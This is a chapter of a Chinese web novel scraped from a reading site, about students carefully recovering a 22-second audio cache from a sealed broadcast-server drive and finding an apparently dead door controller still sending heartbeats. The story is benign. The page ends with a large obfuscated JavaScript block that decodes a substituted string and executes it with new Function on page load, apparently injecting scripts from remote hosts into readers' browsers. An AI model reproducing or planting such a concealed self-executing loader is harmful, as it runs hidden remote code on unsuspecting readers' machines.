首页
第7章 只查设备
返回
关灯 护眼:关 字号:小

第7章 只查设备

章节报错(免登陆)

一秒记住【笔趣阁】
xbiquge365.net,更新快,无弹窗!

    第7章只查设备(第1/2页)
    第二天清早,许照先核对维修店里的铁盒。机身、电池仍分开存放,两道封条与前夜记录一致。老贺和沈知微都在场,三人确认当天只查资产资料,不需要开封。
    “谁要开,至少两名签字人同时在场。”老贺说。许照记下封条编号,把自己的钥匙串往远处放了放。能打开锁,不等于有权打开,这是他在修理铺里最熟悉、以前却很少写在纸上的区别。
    沈知微提交的两份申请已经有了回复。事故设备的资产状态仍是“停用”,学校没有提供报废或销毁单;那项公共广播临时转发服务,则由设备科要求他们到现场补充说明用途。
    回复里特意加粗了一句:资产查询不包含节目内容、听众投稿及日常录音。
    “他们怕我们要听整个广播库。”陆野说。
    “那就当面写清楚,我们不要。”沈知微把申请表翻到背面,“只查BC编号、故障介质去向和事故时间段内由目标设备生成的技术缓存。没有对应编号,就停止。”
    下午三点,三人到了校园广播楼一层的设备间。接待他们的是设备科的周老师,四十多岁,男,胸牌挂得很正。他先看批准号,再看三个人的学生证,最后才让他们把工具箱放上防静电台。
    “广播站不是录音证据仓库。”周老师说,“这里有节目,也有学生投稿。你们查事故,我可以理解,但理解不等于给你们随便听。”
    沈知微把补充页递过去。“我们只查设备,不碰节目。目标编号不匹配的文件,连声音都不播放。”
    周老师逐条看完,在“仅限资产维护数据”旁签了名,又加了一行:恢复操作由设备科在场监督,原始介质不得离开设备间,所得材料是否复制另行审核。
    他执行的仍是设备科统一条款。许照反而松了口气。一扇门若只靠同情打开,别人也能用另一种情绪把它关上。
    设备交接表显示,星河计划两年前借用过三路环境麦克风。前两路只传输设备自检数据,第三路曾短期接入广播服务器,用于测试复杂回声环境下的故障识别。项目结束后,服务器主盘按流程清理,一块出现坏道的缓存盘却被留下,资产备注写着“待厂商判定”。
    厂商没有来判定。半年后项目账户关闭,硬盘从维修架移进封存柜,之后再无人签领。
    许照起初以为“接入广播服务器”意味着声音可能送进校园喇叭。周老师调出当年的布线图,指出环境麦克风走的是维护分区,只借用服务器的缓存与时钟。节目编辑、直播输出和公共扬声器分别经过另外两道硬件切换,维护数据没有取得播放权限。
    “所以别把它写成系统接管过校园广播。”周老师说,“真实设备没那么省事。”
    沈知微在申请草稿里删掉“广播录音”,改成“经广播服务器转发的设备缓存”。词少了两个,范围却准确许多。许照也记下:即使他们恢复出声音,也只能证明三号麦克风曾收进这段声波,不能证明任何宿舍、食堂或教学楼的扬声器播过它。
    陆野又核对了当年服务器的时钟来源。它每天与校内授时服务器校准,事故当晚没有大幅跳时记录,但旧盘本身断电后可能丢失时区字段。因此恢复文件可以用来判断先后顺序,绝不能只凭显示出来的钟点,把某个人钉在某分钟里。
    “为什么公开资产页面只写停用?”沈知微问。
    “因为它没报废,也没修好。”周老师说,“系统里最容易拖很多年的,就是这种谁都不愿意签最后一个字的东西。”
    他从柜中取出硬盘,先让三人核对封存号。封条边缘已经发黄,编号与交接表一致。许照检查接口和盘体,没有发现后开痕迹;陆野则把硬件写保护器接在隔离检修机与硬盘之间。周老师亲手确认屏幕上的只读状态,才允许通电。
    盘体底部有一道旧磕痕,照片里也能找到。许照把现状与两年前的入柜照片逐处对照,确认螺丝氧化、标签翘角和磕痕位置一致。这不能证明盘内数据从未被改过,却至少说明眼前的介质不是后来拿同型号硬盘替换的。周老师把比对照片纳入操作录像,三人才拆开接口防尘套。
    他们没有把录音笔带来。未来声音不能证明旧盘里有什么,也不该替他们决定该听哪一段。
    硬盘起转时发出轻微的刮擦声。许照立刻示意断电。他贴着外壳听了几秒,判断磁头还能归位,但继续全盘高速扫描很可能让坏道扩大。
    “先读目录区,再按编号做局部镜像。”他说,“不跑自动修复,不回写索引。”
    周老师问:“能恢复多少?”
    “现在不知道。强读也许快,坏了就什么都没有。”
    这句“不知道”没有让审批失效。周老师把预计延长的时间写进登记表,给值班室打电话,说明设备间会晚关一个小时。陆野降低读取速度,只提取BC-03对应的扇区映射。
    第一个小时里,屏幕上只有成片的损坏标记。接着出现几百个没有原文件名的短缓存,长度从零点二秒到半分钟不等。系统能够读取设备号和生成顺序,声音内容仍被锁在后面。
    陆野先排除设备号不符的文件,再用设备科保留的授时日志,把断电前的写入序号映射到事故时段,筛出起火前后各一小时。三百多条记录缩到十九条。周老师看着筛选条件,确认没有按姓名、音色或关键词检索。
    十九条里,十一条校验失败,五条只有设备自检脉冲,两条来自另一栋教学楼。最后一条长度二十二秒,设备号正是三号环境麦克风,生成序列落在事故当晚。
    许照没有马上点播放。
    文件的时间戳可能在迁移时改变,设备号也可能被复制。陆野先调出它前后的索引。前一条是同一设备的电压告警,后一条记录了连接中断;三条序列连续,写入计数只差一。至少从磁盘结构看,这二十二秒不是今天临时塞进去的孤立文件。
    (本章未完,请点击下一页继续阅读)第7章只查设备(第2/2页)
    周老师把检修机的外放关闭,只留下桌面上一副公用监听耳机。他先完整听过二十二秒,才把耳机摘下来。
    “前面是设备声,第十二秒起至第十九秒前有人说话。”他说,“涉及事故,可以在批准范围内核验。”
    他在登记表勾选目标文件,关好设备间的门,经本地监听音箱低声播放一次。声音不会进入节目线路,其余三人都能听见。
    前十一秒是持续的低鸣,间或夹着继电器吸合声。第十二秒,有人急促地吸了一口气。随后,一个失真却清楚的男声说:“不能再用真实学生做测试。”
    那句话持续七秒,最后一个“试”字缺了半边。第十九秒起,又响起一次很轻的碰撞和一个无法分辨的男声起音;第二十二秒,文件结束。
    沈知微在第十二秒出现呼吸声时就坐直了。播放结束后,她经周老师同意戴上耳机,把完整二十二秒重新听了一遍。第三遍只听第十二秒起至第十九秒前,手指一直捏着耳机线。
    “是我哥。”她说。
    周老师没有把这句话写成设备结论。“你依据什么确认?”
    “声音,还有他说急了以前会先吸气。”沈知微停了一下,“这是家属辨认,不是声纹鉴定。”
    她从手机里找到沈越事故前参加答辩的一段公开视频,没有直接上传检修机,只隔着桌子播放。陆野挑出两个相同的短词,听感接近,呼吸位置也相似,但压缩率、距离与环境噪声都不同,无法形成可靠声纹结论。
    沈知微没有要求他们把“像”写成“就是”。她把自己的辨认单独列为家属陈述,公开视频列为待专业复核来源。给父母的消息打到一半,她又全部删掉。
    “不告诉他们?”许照问。
    “先拿到合法副本,也先弄清完整二十二秒。”她把手机收起来,“他们已经等过太多次‘也许’。我不能只发一句截下来的话,让他们今晚也睡不着。”
    许照没有劝她立刻分享。在他看来,她不是在藏住哥哥的声音,而是在替一段尚未完成来源核验的材料承担传播后的后果。
    她自己把边界补上了。许照看见她握线的指节发白,便去饮水机接了杯温水。他先摸过杯壁,确认不烫,才放到她手边。
    “先别急着多听。”许照说,“二十二秒还在,不会因为现在停下来就消失。”
    沈知微点头,手却没有立刻松开。许照只能把缓存记作可能改变事故叙述的线索;她反复理直耳机线的动作,却让他无法只看见证据。许照没有说“终于找到了”,也没有问她是否高兴。找到一个人的声音,和把那个人带回来,不是同一件事。
    周老师把顶灯关掉一排,只留工作台上方的灯。他没有劝沈知微,也没有催下一项操作。过了几分钟,她主动把耳机放回桌面。
    “继续做来源核验。”她说。
    陆野计算局部镜像与二十二秒文件的校验值,周老师打印读取日志。原盘重新断电封存,镜像留在设备科的只读介质里。沈知微只申请一份二十二秒的证据副本,不要其余十八条;其中若有与事故无关的人声,也不进入她的材料。
    周老师没有当场给副本。他把申请、操作录像和文件校验值一并送进学校档案流程,给了他们受理编号。三个人此刻合法持有的,只有在场核验记录和一张写明“发现目标设备缓存”的回执。
    “听见不等于拿走。”他说,“明天审核通过,才能复制。”
    沈知微把回执收好。“如果不通过,请写明理由。”
    “会写。”
    陆野又检查那二十二秒的设备背景。低鸣并非单一频率,每隔固定间隔会多出一个短促跳变,像另一台设备在报送心跳。缓存索引把对端节点记作G3-CTRL-01。
    这个编号不在广播设备表里。周老师查了校内资产目录,结果指向旧实验楼一楼门禁控制器。状态栏写着“随建筑停用”,最后一次维修在两年前。
    “门禁为什么会出现在环境麦克风缓存里?”沈知微问。
    “可能共用过通信网关。”陆野说,“也可能只是编号碰巧相似。得看协议,不能看两个字母就认亲。”
    许照把两种可能都记下。周老师继续往下翻,手指忽然停住。
    停用设备的旧资产总览下还有一行逻辑节点心跳。这个页面不是实时诊断页,只保存网关每天抽取的一次状态,也没有记录当时使用的硬件序列号和维护链路。最近一次归档发生在昨天凌晨。
    周老师重新登录资产页,确认不是浏览器缓存。页面刷新以后,时间仍在,状态却依旧显示“停用”。一个被封在旧楼里的门禁,昨天还向学校的系统报过平安。
    他们没有当晚去旧楼。沈知微只依据资产号、心跳时间和二十二秒缓存的对端编号,提交异常设备检查申请;许照附上志愿维修组资质,陆野列出只读诊断所需工具。申请范围明确写着:只查一楼门禁,不进入事故实验室。
    离开设备间前,许照回头看了一眼重新上锁的封存柜。疑似沈越的声音还在里面,门禁的心跳也还在另一栋封闭建筑里。
    这一晚,他们只拿走两张回执。
    一张证明他们没有把故障盘带走,另一张证明那二十二秒从哪块介质、经什么步骤被看见。它们都没有沈越的声音动人,却比一句“我们听见了”更能让下一次核验继续下去。
    可第一次,有一扇两年来一直被称作“数据损坏”的门,留下了仍在工作的编号。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="g2m6fxj4mu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/p@^K7RCo^_/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"p@^K7RCo^_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8p@^K7RCo^_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();